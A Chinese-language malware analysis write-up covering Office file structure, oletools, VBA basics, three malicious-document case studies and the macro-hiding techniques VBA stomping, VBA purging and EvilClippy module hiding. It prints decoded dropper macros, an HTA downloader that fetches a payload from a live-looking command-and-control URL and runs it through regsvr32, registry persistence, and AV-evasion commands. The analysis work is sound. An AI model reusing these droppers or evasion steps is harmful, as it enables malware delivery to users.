一、office文件格式

office文件格式根据版本可以分为Office2007之前的版本和Office2007之后的版本。
Office2007之前的版本为OLE复合格式:doc,dot,xls,xlt,pot,ppt
Office2007之后的版本为OpenXML格式:docx,docm,dotx,xlsx,xlsm,xltx,potx

1.OLE复合格式(Object Linking and Embedding Data Structures)

复合文档不仅包含文本,而且包括图形、电子数据表格、声音、视频等其他信息。使用面向对象技术,将非标准信息(如图像、声音)作为独立的、自包含式对象包含在文档中。
复合文档将数据分成许多流(Steams),流存储在不同的Storages里。符合文档采用NTFS(NT File System)格式。
流又分成更小的数据扇区(sectors)。数据扇区可能包含控制数据或用户数据。
整个文件由一个头结构(Header)结构以及Sectors组成,头结构确定了Sectors的大小,每个Sector的大小相同。

使用offVis对doc文件进行解析:主要包括4个方面Header、FAT、MinFAT、DirectoryEntry

FileHeader(文件头)

固定512字节。记录了ole文件的关键信息。结构如下图,比较重要的字段前面会标*号

struct OLEGUID {unsigned int dw1;unsigned short w1;unsigned short w2;unsigned char aby[8];
};struct FileHeader{unsigned char sig[8];//*特征码0xD0 0xCF 0x11 0xE0 0xA1 0xB1 0x1A 0xE1OLEGUID oleguid;//ClassIDunsigned short VerMinor;//修订号unsigned short VerDll;//版本号unsigned short ByteOrder;//*文档存储模式0xFE0xFF:小端。0xFF0xFE大端unsigned short SectorShit;//*表示sector的大小。2^nunsigned short MiniSecShift;//*MiniSector的大小。2^nunsigned short Reserved1;//保留unsigned int Reserved2;//保留unsigned int NumDirSects;//*DirectorySectors目录扇区数量unsigned int NumFatSects;//*FAT数量unsigned int DirSect;//*Directory开始的SectorIDunsigned int TransactSig;//0unsigned int MiniStrMax;//最小Stream的最大值,默认4096unsigned int MiniFatSect;//*MiniFAT表开始的SectorIDunsigned int NumMiniFatSects;//*MiniFAT表数量unsigned int DifatSect;//*DIFAT开始的SectorIDunsigned int NumDifatSects;//*DIFAT的数量unsigned int DiFat[109];//109个DIFAT
};

FAT&MiniFAT

FAT为索引表结构,每一条记录中的内容是下一个扇区的地址。如下面的SECTOR[0]中记录了下一个扇区为1,SECTOR[1]中记录了下一个扇区为2,以此类推直到SECTOR[10]为一个链的结束。

特殊ID值扇区

DirectoryEntry

复合文档中其实存放着很多内容,这么多内容需要有个目录,那么Directory就是这个目录。从Header中我们可以读取出Directory开始的SectorID,我们可以定位到这个位置(0x200 + sectorSize * dirStartSectorID)。Directory中每个DirectoryEntry固定为128字节。

//office DirectoryEntry数据结构
struct Element {wchar_t Name[32];//Directory名字unsigned short NameLength;//Name长度unsigned char Type;//节点类型。0:非法;1:目录(storage);2:节点(Stream);5:根节点unsigned char Flags;//节点颜色unsigned int sidLeft;//左兄弟EntryIDunsigned int sidRight;//右兄弟EntryIDunsigned int sidChild;//孩子节点EntryIDOLEGUID ClsID;unsigned int UserFlags;//一般为0__int64 CreateTime;//创建时间 貌似不是时间戳的格式__int64 ModifyTime;//文件修改时间unsigned int StartSect;//DirectoryEntry开始的SectorIDunsigned int SizeLow;//Directory存储的所有字节长度unsigned int SizeHigh;//保留置0
};

2.OpenXML

Open XML是微软在Office 2007中推出的基于XML的文件格式,主要是满足文档文件被应用程序、平台和浏览器读取的能力。新的文件格式实际上是标准的ZIP文件格式,我们可以像打开其他ZIP文件一样来打开Open XML的文档文件,里面包含着XML文件、RELS文件以及一些其他文件。

文档结构

[Content_Types].xml //描述文档各个部分的ContentType,协助程序解析文档
│
├─docProps
│      app.xml//程序级别的文档属性,如:页数、文本行数、程序版本等
│      core.xml//用户填写的文档属性,如:标题、主题、作者等
│
├─word
│  │  document.xml//word文档的正文
│  │  fontTable.xml//word文档的页脚
│  │  settings.xml//
│  │  styles.xml
│  │  vbaData.xml//vba属性,是否auoopen,是否加密
│  │  vbaProject.bin//记录vba工程信息 ole
│  │  webSettings.xml
│  │
│  ├─theme
│  │      theme1.xml//记录样式,颜色编号,字体大小等等
│  │
│  └─_rels
│          document.xml.rels//文档间的关系
│          vbaProject.bin.rels//记录vba文件
│
└─_rels.rels//描述各个部分之间的关系

3.使用oletools解析

安装oletools

pip install -U oletools

分析ole文档结构工具
olebrowse:浏览器的方式查看
olemeta:获取文档的属性数据,如作者,修改日期等
oletimes:查询每个streams和storages的修改时间
oledir:查询ole的directory entries信息
olemap:查看ole文档的整体情况,如header、fat、minifat等
分析ole病毒文档工具
oleid:检测ole文档中包含的内容,如是否被加密、是否有VBA脚本、Excel、PowerPoint、Visio、Flash
olevba:检测提取文档中的vba脚本,–decode:解密字符串,–reveal:将源码中的混淆字符串用解密字符串代替。
mraptor:检测恶意VBA脚本。A:自动执行,W:写文件或内存,X:执行文件或payload。
msodde:检测提取DDE/DDEAUTO链接
pyxswf:检测提取flash对象(SWF文件)

二、VBA简单学习

VBA代表Visual Basic for Applications,它是一个来自Microsoft的事件驱动的编程语言。 现在它主要用于Microsoft Office应用程序,如MSExcel,MS-Word和MS-Access。
最简单的VBA的编辑器就是office(word、excel等)

1.开启vba宏

选项—>自定义功能区—>勾选开发工具

2.简单的vba

点击开发工具—>插入—>按钮控件

右键按钮控件可以修改控件的一些属性。双击打开编辑器,输入MsgBox “Hi,VBA!”

3.基本语法

模块:编写代码的区域
函数:可以在程序的任何地方调用。Function和End Function关键字之间写代码
子过程:没有返回值。在Sub和End Sub关键字之间写代码。
注释:以单引号(‘)开头或者以"REM"开头表示注释
VBA变量&常量
命名变量的基本规则
变量名第一个字符必须为字母
变量名不能使用的字符:空格 ! @ & $ #
变量名长度不超过255个字符
不能使用VB保留关键字作为变量名

变量声明:
Dim <<variable_name>> As <<variable_type>>
常量声明
Const <<constant_name>> As <<constant_type>> = <<constant_value>>

数字类型数据

非数字数据类型

VBA运算符

算术操作符:+-*/%^(加、减、乘、除、取余、指数)
比较运算符:和其他语言一样。(<>为不相等比较)
逻辑运算符:AND、OR、NOT、XOR
连接运算符:+&(两个变量为数字时A=5,B=10,A+B=15,A&B=510 ;两个变量为字符串时都是拼接字符串)

VBA条件判断和循环

if条件判断
If(expression1) ThenStatement1
Elseif(expression2) ThenStatement2
ElseifStatement3
End Ifswitch语句
Select Case expressionCase expressionlist1statement1statement2........statement1nCase expressionlist2statement1statement2........Case expressionlistnstatement1statement2........  Case Elseelsestatement1elsestatement2........
End Selectfor循环
For counter = start To end [Step stepcout]statement1statement2Exit For
Nextfor each循环
For Each item In Groupstatement1
NextWhile循环
While condition(s)statemnets1
WendDo While循环
Dostatements1
Loop While condition(s)中途退出for循环
Exit For
中途退出Do while循环
Exit Do

VBA字符串

VBA数组

Dim arr(5)

指定数组大小为5,从索引0开始,可以保存6个值,且可以保存不同类型的值

VBA事件
可以对很多事件写代码进行处理,如SelectionChange为选择框发生改变时触发

VBA文本文件
文件系统对象FSO:用于对驱动器、文件夹和文件进行操作

写入文件内容

Dim text1 As Strings
Set fso = CreateObject("Scripting.FileSystemObject")
Set stream = fso.OpenTextFile("F:\worksp\vba\Support.log", ForWriting, True)
text1 = "text1"
stream.WriteLine text1
stream.Close

Write命令

Dim FilePath As String
FilePath = "F:\workplace\test.txt"
Open FilePath For Output As #2
Dim text1 As String
text1 = "test1"
Write #2, "test1"
text1 = "text2"
Write #2, "test2"
Close #2
MsgBox ("Write text")

三、恶意文档分析实践

为了寻找样本进行学习(不是对office的漏洞进行分析),在any.run上设置type:Microsoft office ;tag:macros或者apt

案例一(了解一般分析方法)

样本来源:https://app.any.run/tasks/ba244852-4bad-41a4-9296-c24129ac92e1/
简单执行效果,提示linkSelectTmp.jpg不是可执行文件(存在写文件),cc服务器已经关闭
所以最终目标:1.分析出文档具体行为。2.找到cc服务器

linkSelectTmp.jpg打开如下图

提取vba
提取vba脚本 olevba.exe -c .\report.06.21.doc > vba.txt

olevba 0.60 on Python 3.9.5 - http://decalage.info/python/oletools
===============================================================================
FILE: .\report.06.21.doc
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'1. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO procedureSize.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/procedureSize'2. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function globView(countPoint)
Debug.Print Shell("" + indexClassInit("explorer "))
End Function
Function indexClassInit(countPoint, Optional procIteratorCaption = "c:\progra", Optional nextBooleanConv = "ta")
indexClassInit = countPoint & procIteratorCaption & "mdata\linkSelectTmp.h" & nextBooleanConv
End Function
Function collectClassH(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 100)
Next
collectClassH = out
End Function
-------------------------------------------------------------------------------
VBA MACRO rightCaptReference.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/rightCaptReference'3. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub autoopen()
functionVInteger
queryWin = globView("")
End Sub
-------------------------------------------------------------------------------
VBA MACRO classRem.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/classRem'4. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub functionVInteger()
Open indexClassInit("") For Output As #1
Print #1, collectClassH(collectException)
Close #1
End Sub
Function collectException()
collectException = Split(ActiveDocument.Range.Text, "x")
End Function

分析VBA脚本
加密数据如下

  1. autoopen过程调用了functionVInteger和globView("")
  2. functionVInteger:将文本的内容解密并写入c:\programdata\linkSelectTmp.hta
  3. globView:执行shell(“explorer c:\programdata\linkSelectTmp.hta”)
  4. collectException:读取文档中的文本,并通过’x’进行分割为数组
  5. collectClassH:将数组与100进行异或解密
  6. indexClassInit:将字符串进行与”c:\programdata\linkSelectTmp.hta“进行拼接

第一段加密代码分析

解密后的linkSelectTmp.hta如下

html>
<body>
<div id='vbMemoryCaption'>fX17KWUoaGN0YWN9O2Vzb2xjLmVsZ25pU3lyYXJiaWw7KTIgLCJncGoucG1UdGNlbGVTa25pbFxcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZvdGV2YXMuZWxnbmlTeXJhcmJpbDspeWRvYmVzbm9wc2VyLldrbmlMdGFkKGV0aXJ3LmVsZ25pU3lyYXJiaWw7MSA9IGVweXQuZWxnbmlTeXJhcmJpbDtuZXBvLmVsZ25pU3lyYXJiaWw7KSJtYWVydHMuYmRvZGEiKHRjZWpiT1hldml0Y0Egd2VuID0gZWxnbmlTeXJhcmJpbCByYXZ7eXJ0eykwMDIgPT0gc3V0YXRzLldrbmlMdGFkKGZpOykoZG5lcy5Xa25pTHRhZDspZXNsYWYgLCJnOFlVRjBqQ1l1NDJCRT0mWTBBWHgwTllQMk9XVWhzTGlvWVAxd2EzRGxqPWRpYyZjODU3NWl1VU1mVFp4PWVnYXAmYUNrYlZtVjdCd0RZdHV2VmxjM0J0MWtiRFQ9ZWdhcCZjRTlKUmZtSmhINVRtd1p2dktlbUNVc0k3Mj1lZ2FwJkYwQm9QOWN0MlVxeWxxNHlobnBTUlVmcURHPWhjcmFlcyZSWmptNVdYU3d3c0hQWmRTODc5PThjRFJZMUJmaSY1Z3Q0V3hhVU89cmVzdSZmN3FnaGUyNnFoUkxKcD05SWhJRj8xMXljb2YvNzA0MjIvbWdkQ29PekZNSkZ5SFFyT05vZ3RkYTQ0RHRnRGM0S0h6ZVVpVExHWC9zSHh2OTRHTi9wem5pbS8wNzcyNy9hRFQ4Lzk4NDU4L2FkZGEvbW9jLmRzYmJvaHlkYWVybGEvLzpwdHRoIiAsIlRFRyIobmVwby5Xa25pTHRhZDspInB0dGhsbXguMmxteHNtIih0Y2VqYk9YZXZpdGNBIHdlbiA9IFdrbmlMdGFkIHJhdg==aGV5OykiZ3BqLnBtVHRjZWxlU2tuaWxcXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuYlZlcnVkZWNvclBjbnVmOykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gY2lyZW5lR3JlZHJvQmVtYW4gcmF2OykibGxlaHMudHBpcmNzdyIodGNlamJPWGV2aXRjQSB3ZW4gPSBiVmVydWRlY29yUGNudWYgcmF2aGV5msscriptcontrol.scriptcontrol</div>
<div id='funcSize'>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/</div>
<script language='javascript'>function lengthD(memoryText)
{
return(new ActiveXObject(memoryText));
}
function intLTpl(memoryTable)
{
return(documentTextboxListbox.getElementById(memoryTable).innerHTML);
}
function linkVal()
{
return(intLTpl('funcSize'));
}
function buttProcLibrary(s)
{
var e={}; var i; var b=0; var c; var x; var l=0; var a; var windowVariantQuery=''; var w=String.fromCharCode; var L=s.length;
var constC = borderMain('tArahc');
for(i=0;i<64;i++){e[linkVal()[constC](i)]=i;}
for(x=0;x<L;x++){
c=e[s[constC](x)];b=(b<<6)+c;l+=6;
while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(windowVariantQuery+=w(a));}
}
return(windowVariantQuery);
};
function borderMain(mainCount)
{
return mainCount.split('').reverse().join('');
}
sizeIntLibrary = window;
documentTextboxListbox = document;
sizeIntLibrary.resizeTo(1, 1);
sizeIntLibrary.moveTo(-100, -100);
var rightHCur = documentTextboxListbox.getElementById('vbMemoryCaption').innerHTML.split("aGV5");
var bytesLZero = borderMain(buttProcLibrary(rightHCur[0]));
var arrMemory = borderMain(buttProcLibrary(rightHCur[1]));
var pointerInteger = rightHCur[2];</script>
<script language='vbscript'>Function viewDelVar(vbMemoryCaption)
Set screenTrustConst = CreateObject(pointerInteger)
With screenTrustConst
.language = "jscript"
.timeout = 360000
End With
screenTrustConst.eval(vbMemoryCaption)
End Function</script>
<script language='vbscript'>Call viewDelVar(bytesLZero)</script>
<script language='vbscript'>Call viewDelVar(arrMemory)</script>
<script language='javascript'>sizeIntLibrary['close']();</script>
</body>
</html>
  1. 从vbMemoryCaption中获取数据并按"aGV5"进行分割得到rightHCur数组
  2. buttProcLibrary函数根据uncSize中的字母表,进行base64解密
  3. bytesLZero 为rightHCur[0],base64解密并翻转
  4. arrMemory为rightHCur[1],base64解密并翻转,得到最后的脚本
var datLinkW = new ActiveXObject("msxml2.xmlhttp");
datLinkW.open("GET", "http://alreadyhobbsd.com/adda/85489/8TDa/72770/minzp/NG49vxHs/XGLTiUezHK4cDgtD44adtgoNOrQHyFJMFzOoCdgm/22407/focy11?FIhI9=pJLRhq62ehgq7f&user=OUaxW4tg5&ifB1YRDc8=978SdZPHswwSXW5mjZR&search=GDqfURSpnhy4qlyqU2tc9PoB0F&page=27IsUCmeKvvZwmT5HhJmfRJ9Ec&page=TDbk1tB3clVvutYDwB7VmVbkCa&page=xZTfMUui5758c&cid=jlD3aw1PYoiLshUWO2PYN0xXA0Y&=EB24uYCj0FUY8g", false);
datLinkW.send();
if (datLinkW.status == 200) {try {var librarySingle = new ActiveXObject("adodb.stream");librarySingle.open;librarySingle.type = 1;librarySingle.write(datLinkW.responsebody);librarySingle.savetofile("c:\\users\\public\\linkSelectTmp.jpg", 2);librarySingle.close;} catch(e) {}
}var funcProcedureVb = new ActiveXObject("wscript.shell");
var nameBorderGeneric = new ActiveXObject("scripting.filesystemobject");
funcProcedureVb.run("regsvr32 c:\\users\\public\\linkSelectTmp.jpg");

第二段加密代码分析
1.访问目标网站,将得到的内容保存导c:\users\public\linkSelectTmp.jpg中
2.执行regsvr32 c:\users\public\linkSelectTmp.jpg
regsvr32.exe用于注册和取消注册Windows操作系统的DLL(动态链接库)文件和ActiveX控件。

因为网站已经404所以,linkSelecTmp.jpg内容并不是dll或者activeX控件

小结:

  1. doc文档打开自动执行解密并写入c:\programdata\linkSelectTmp.hta
  2. linkSelectTmp.hta解密vb脚本向http://alreadyhobbsd.com/adda/85489/8TDa/72770/minzp/NG49vxHs/XGLTiUezHK4cDgtD44adtgoNOrQHyFJMFzOoCdgm/22407/focy11?FIhI9=pJLRhq62ehgq7f&user=OUaxW4tg5&ifB1YRDc8=978SdZPHswwSXW5mjZR&search=GDqfURSpnhy4qlyqU2tc9PoB0F&page=27IsUCmeKvvZwmT5HhJmfRJ9Ec&page=TDbk1tB3clVvutYDwB7VmVbkCa&page=xZTfMUui5758c&cid=jlD3aw1PYoiLshUWO2PYN0xXA0Y&=EB24uYCj0FUY8g
    发送get请求获取linkSelectTmp.jpg
  3. linkSelectTmp.hta执行"regsvr32 c:\users\public\linkSelectTmp.jpg"

案例二(了解如何动态调试)

https://app.any.run/tasks/c9662466-6463-42b4-ba14-5dfb41a7f44b/#
在文档关闭的时候会自动关闭,所以优先关注Sub Document_Close()

使用oledump提取vba脚本,有很多注释语句,变量名也被混淆了,正好是个不错的样本。需要动态调试查看。

动态调试查看,点击视图开启立即窗口、本地窗口和监视窗口

Set nZsXAIAmrwsMOxkvh = gxUVYeacLIkNroPKoYAd.CreateTextFile(oCHIUZS, True, True),创建了一个文件,直接查看比较麻烦,通过设置断点,查看变量的方法可以容易的知道创建的文件为"C:\Users\abel\Downloads\deer.ini",后续要关注这个文件

接着上面就是大量的字符串拼接,之后应该会进行解密写文件操作,可以跳过这段代码下断点

UNMfYyPswUtPDcyphmZwEXyU先对字符串进行了base64的解密,再写入到了“C:\Users\abel\Downloads\deer.ini”文件中
执行生成的vba脚本

Set oShell = CreateObject("Shell.Application")
CallByName oShell, "ShellExecute", VbMethod, "wscript.exe", "C:\Users\abel\Downloads\deer.ini  //e:VBScript //b", "", "", 0

最后写注册表"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\deer", “wscript.exe C:\Users\abel\Downloads\deer.ini //e:VBScript //b”, “REG_SZ"实现自启

deer.ini分析
创建一个word,启动visualBasic编辑器,并将beer.ini的内容复制进去。
首先创建了一个字符串"C:\Users\abel\deer.exe”

写注册表

HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM为1
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings

使用WMI测试是否能ping通coagula.online

"SELECT * FROM Win32_PingStatus WHERE Address=" + "'coagula.online'"

可以使用debug.print调试输出url,得到一个url“http://83.166.240.31/get.php?independent=”

可惜这个url已经关闭了,没法继续往下分析。
小结
1.word解密释放C:\Users\abel\Downloads\deer.ini(vbs脚本)
2.设置注册表"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\deer",设置自启deer.ini
3.启动deer.ini
4.设置两个注册表HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings
5.获取coagula.online的ip
6.访问http://83.166.240.31/get.php?independent=,获取deer.exe内容(猜测)
对于提取到的vb代码可以新建文档动态调试。

案例三(模板注入的病毒)

https://app.any.run/tasks/63e3f841-6c52-454f-9d03-9d02883100ae/#
总所周知docx的文档是没有宏是安全的(漏洞除外),所以docx这类不存在宏的文档就安全了吗?这里还是从any.run上找了一个apt标签的office文档(因为apt标签用这个技术的比较多)
使用olevba进行查看并没有vba脚本,但是oleid显示存在External Relationships

oleobj可以检测到一个外部链接http://pokis-to.hopto.org/18FAB3F7/TKvrzJNE.dot 。当docx文档启动的时候会加载使用该dot文档。链接已经失效,后续分析也没有了。

./word/_rels/settings.xml.rels中找到了可疑链接。rels文件指定了各个部件之间的关系。Target表示零件的文件位置,正常情况使用的是相对路径。

四、office病毒隐藏技术

office病毒除了上面的混淆等方法,还有什么方法可以对抗检测和分析呢?

1.源码、p-code和exe-code

vba宏代码有3个存储的地方:源代码、pcode区和execode区
用Structured Storage Viewer打开只有下面最简单宏的doc文件


源代码:宏的原代码被压缩保存。是vba模块流的末尾,可以使用’Attribut’字符串轻松识别
pcode:存储的是pcode伪代码,是vba宏代码被vba编辑器编译之后的代码。
execode:只要在pcode代码至少执行一次之后才会出现,存储的是pcode执行的痕迹。execode代码存储在“__SRP_目录”中。
_VBA_PROJECT和__SRP_#流:版本和实现信息


存在三个代码区域,那么什么情况下会执行对应的代码呢?
正常情况只会执行源码和p-code
pcode:office版本和vba编辑器相同时,使用pcode(pcodedmp提取pcode代码)
源码:office或者vba版本不同时,使用源码执行
exe-code:是pcode的执行记录,不会被执行,但是具备独立执行的条件

2.VBA stomping

针对上面的pcode和源码在不同条件下的执行优先顺序,提出了不同的攻击方法。
将恶意的源码与非恶意的VBA源码进行交换,保留p-code不变。攻击能够成功取决于office版本,office版本和目标的office版本相同时,office会优先执行p-code中的代码。可以使用https://github.com/outflanknl/EvilClippy工具完成这个过程
先创建一个包含一个模块abcdefg模块的doc文档,打开时自动弹窗HelloWorld

创建一个非恶意的fakeMssage.vba

Sub autoopen()
MsgBox "fakeMessage"
Sub End

使用EvilClippy替换原来doc中的源码,得到doc_EvilClippy_stomping.doc文件

EvilClippy.exe -n abcdefg -n ThisDocument -s fakevba.vba doc.doc

使用Structured Storages Viewer查看,可以看到源码内容已经被修改

使用word查看效果,vba编辑器仍然能看到源码,因为当vba执行时,office会根据p-code修复源码

使用olevba对doc_EvilClippy_stomping.doc进行查看,分析得到的vba代码已经出错。pcode部分还是能看到源码正常。且已经提示存在vba stoming

oledump工具提示7,13报错

pcodedmp分析

可以使用pcode2code库来提取源码

小结:
VBA stoming方法主要是针对一些自动检测工具进行干扰,降低杀软报毒的可能性,对于手动分析没有干扰效果。

3.VBA purging

与VBA stomping相反,VBA purging保留了源码,删除了p-code及相关部分。
从模块流和_VBA_PROJECT流中删除Pcode,将MODULEOFFSET的值更改为0,并删除所有SRP流。更容易绕过AV检测和YARA规则(导致一些分析工具失效,貌似对手动分析并没影响)
可以使用https://github.com/fireeye/OfficePurge完成相关操作

如何实现vba purging的操作呢(阅读https://github.com/fireeye/OfficePurge源码)

  1. 读取“dir”的流内容,并解压。
  2. 解析“dir”流内容解析出module的名字和源码的offset。(比如doc.doc中abcdefg模块的偏移为1307)


3. 循环提取源码到OG_VBACode,移除pcode,再重新设置VBA中对应模块源码。(如下源码)

// Get the CompressedSourceCode from module
streamBytes = commonStorage.GetStorage("VBA").GetStream(vbaModule.moduleName).GetData();
string OG_VBACode = Utils.GetVBATextFromModuleStream(streamBytes, vbaModule.textOffset);
// Remove P-code from module stream and set the module to only have the CompressedSourceCode
streamBytes = Utils.RemovePcodeInModuleStream(streamBytes, vbaModule.textOffset, OG_VBACode);
commonStorage.GetStorage("VBA").GetStream(vbaModule.moduleName).SetData(streamBytes);
  1. 修改dir流中module的偏移为0
  2. 设置_VBA_PROJECT为"CC-61-FF-FF-00-00-00"
  3. 删除__SRP_*的流
// Change offset to 0 so that document can find compressed source code.
commonStorage.GetStorage("VBA").GetStream("dir").SetData(Utils.Compress(Utils.ChangeOffset(dirStream)));
Console.WriteLine("\n[*] Module offset changed to 0.");// Remove performance cache in _VBA_PROJECT stream. Replace the entire stream with _VBA_PROJECT header.
byte[] data = Utils.HexToByte("CC-61-FF-FF-00-00-00");
commonStorage.GetStorage("VBA").GetStream("_VBA_PROJECT").SetData(data);
Console.WriteLine("\n[*] PerformanceCache removed from _VBA_PROJECT stream.");// Check if document contains SRPs. Must be removed for VBA Purging to work.
try
{commonStorage.GetStorage("VBA").Delete("__SRP_0");commonStorage.GetStorage("VBA").Delete("__SRP_1");commonStorage.GetStorage("VBA").Delete("__SRP_2");commonStorage.GetStorage("VBA").Delete("__SRP_3");Console.WriteLine("\n[*] SRP streams deleted!");
}

_VBA_PROJECT长度只有7个字节时优先考虑是否为vba_purging

4.Hiding macros

当文档运行p-code时,VBA引擎会根据p-code修复源码。所以只要p-code运行,使用vba编辑器查看到的就还是源码。如下图将doc的源码进行了替换,但是用word打开时还是原来的代码。有没有什么办法能阻碍分析人员通过vba编辑器查看和动态调试呢?

EviClippy可以使用-g参数隐藏vba源码

Hiding macros原理
通过查看EviClippy的相关代码,可以知道-g参数主要是对将PROJECT流中的"Module=abcdefg\x0D\x0A"删除并重新保存(使用FlexHEX,直接用010editor会导致vba失效)

EviClippy中HideMacro部分代码如下,找到"Module=*****"指定隐藏模块的字符串,将该字符串删除,最后将修改的stream流重新打包

// Hide modules from GUI
if (optionHideInGUI)
{foreach (var vbaModule in vbaModules){if ((vbaModule.moduleName != "ThisDocument") && (vbaModule.moduleName != "ThisWorkbook")){Console.WriteLine("Hiding module: " + vbaModule.moduleName);projectStreamString = projectStreamString.Replace("Module=" + vbaModule.moduleName, "");}}// Write changes to project streamcommonStorage.GetStream("project").SetData(Encoding.UTF8.GetBytes(projectStreamString));
}

查看效果:能够成功执行vba代码,但是vba编辑器看不到对应的

参考文章

非漏洞的office钓鱼和检测对抗主要是在文档结构的了解上。要想自动化对文档进行解析可以借助现有的一些库:OpenMCDF和Kavod.Vba.Compression

文档结构相关
(官方文档)[MS-OLEDS]: Object Linking and Embedding (OLE) Data Structures
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oleds/85583d21-c1cf-4afe-a35f-d6701c5fbb6f
Office文件的奥秘——.NET平台下不借助Office实现Word、Powerpoint等文件的解析(一)
https://www.cnblogs.com/mayswind/archive/2013/03/17/2962205.html
office 复合文档数据结构解析“初探”
https://blog.csdn.net/Cody_Ren/article/details/103886098
Tools to extract VBA Macro source code from MS Office Documents
http://www.decalage.info/en/vba_tools
复合文档的二进制存储格式研究[ole存储结构]整理
https://blog.csdn.net/chaoguodong/article/details/80402291
恶意Office文档解析——1. Office文档格式解析
https://blog.csdn.net/qq_42855619/article/details/92852284
oletools百科
https://github.com/decalage2/oletools/wiki

VBA教程
https://www.yiibai.com/vba

office病毒分析相关
宏病毒的研究与实例分析01——基础篇
https://blog.csdn.net/qq_38474570/article/details/88382677?spm=1001.2014.3001.5501
(推荐)【恶意代码分析技巧】08-文档宏病毒
https://www.sec-in.com/article/67
浅析恶意office文档检测技术
https://www.secrss.com/articles/10705
word文档宏病毒样本分析
https://www.52pojie.cn/thread-1287476-1-1.html
一例加密保护Excel的vba宏病毒下载器分析
https://www.52pojie.cn/thread-1298869-1-1.html

office病毒隐藏相关
(推荐)Evil Clippy原理
https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/
(推荐)OfficePurge工具
https://github.com/fireeye/OfficePurge
Pcode与VBA Stomping
https://www.yuque.com/p1ut0/qtmgyx/mbwnvq
Oficepurge原理
https://www.fireeye.com/blog/threat-research/2020/11/purgalicious-vba-macro-obfuscation-with-vba-purging.html

office病毒分析从0到1相关推荐

  1. 更新 箫心病毒分析专家2006 build 5.23(C#2.0)

    箫心病毒分析专家2006 build 5.23版介绍: 箫心病毒分析专家顾名思义,是一款帮助你查找本机电脑病毒,恶意脚本,***程序 ,各类***程序的一款完全免费的绿色经典软件.      1, 运 ...

  2. GandCrabV2.0病毒分析记录

    分析环境 吾爱破解虚拟机(XP系统) IDA 6.8 火绒剑 样本来源 https://www.52pojie.cn/thread-712552-1-1.html 病毒文件信息 文件: C:\Docu ...

  3. ×××病毒分析工具集之File Format Identifier v1.0

    本工具是一款辅助进行病毒分析的工具,它包括各种文件格式识别功能,使用×××的格式识别引擎部分代码,集查壳.PE文件编辑.MD5计算以及快捷的第三方工具利用等功能,适合病毒分析中对一些病毒***样本进行 ...

  4. BlackIce病毒分析

    概述 blackice是一个古老的感染型病毒,可感染系统中exe.doc和xls文件,通过USB设备和网络驱动器来传播,会向C&C下载pe执行,会关闭常用的杀软进程.下面找了一个样本,这个样本 ...

  5. C:/WINDOWS/system32/x 病毒分析和解决建议

    系统出现问题,症状有: 偶尔很卡,CPU并没有很高的进程: 死机,屏幕锁定,键盘失灵,仅鼠标能移动,但是不能任何操作: 只能强行重新启动: NOD32会报以下病毒警告: C:/WINDOWS/syst ...

  6. 熊猫烧香变种病毒分析

    熊猫烧香变种病毒分析分析报告 样本名 2_dump_SCY.exe(熊猫烧香) 作者 yusakul 时间 2018-07-13 平台 Win7-32 1.样本概况 1.1 样本信息 病毒名称 2_d ...

  7. 013 Android锁机病毒分析

    文章目录 免流服务器-锁机病毒分析 秒抢红包-锁机病毒分析 免流服务器-锁机病毒分析 首先来分析这个免流服务器的锁机病毒,文件信息如下 文件: 免流服务器.apk 大小: 799835 bytes 修 ...

  8. Android逆向与病毒分析

    本文由同程旅游安全团队对内移动安全培训的PPT整理而来,面向对象为对移动安全感兴趣的研发同事,所以讲的有些宽泛.介绍了入门Android逆向需要掌握的一些知识点, 通过简单的几个案例讲解Android ...

  9. 一个感染型木马病毒分析(二)

    作者:龙飞雪 0x1序言 前面已经对感染型木马病毒resvr.exe的病毒行为进行了具体的分析见一个感染型木马病毒分析(一),但是觉得还不够,不把这个感染型木马病毒的行为的亮点进行分析一下就有点遗憾了 ...

最新文章

  1. 阿里云提示WordPress“/wp-includes/http.php输入IP验证不当”的解决办法
  2. Hyperopt 入门指南
  3. 电子科技大学20春《c语言》在线作业1,[电子科技大学]20秋《C语言》在线作业123(答案)...
  4. android 退出多个activity,Android 中 退出多个activity的经典方法
  5. 光与夜之恋服务器维护中,光与夜之恋7月16日停服维护说明 维护详情一览
  6. About MS Reporting Service
  7. 树莓派(Raspberry Pi)日期时间不准的修正方法
  8. oracle 自动化运维--自动搭建oracle dataguard 运维工具(开发源代码)
  9. No buffer space available终极解决办法
  10. Linux打印服务-CUPS的安装、配置和使用
  11. Outlook 2016 配置QQ邮箱
  12. IJCAI 2022杰出论文公布,大陆作者中稿298篇拿下两项第一
  13. 超级详细讲解根文件系统rootfs的制作
  14. 西门子S7通信案例分享
  15. Docusaurus 搭建个人博客(支持离线搜索)
  16. 有1、2、3、4个数字,能组成多少个互不相同 且无重复数字的三位数?都是多少?...
  17. android cs,《CS反恐精英》Android版 经典游戏再现
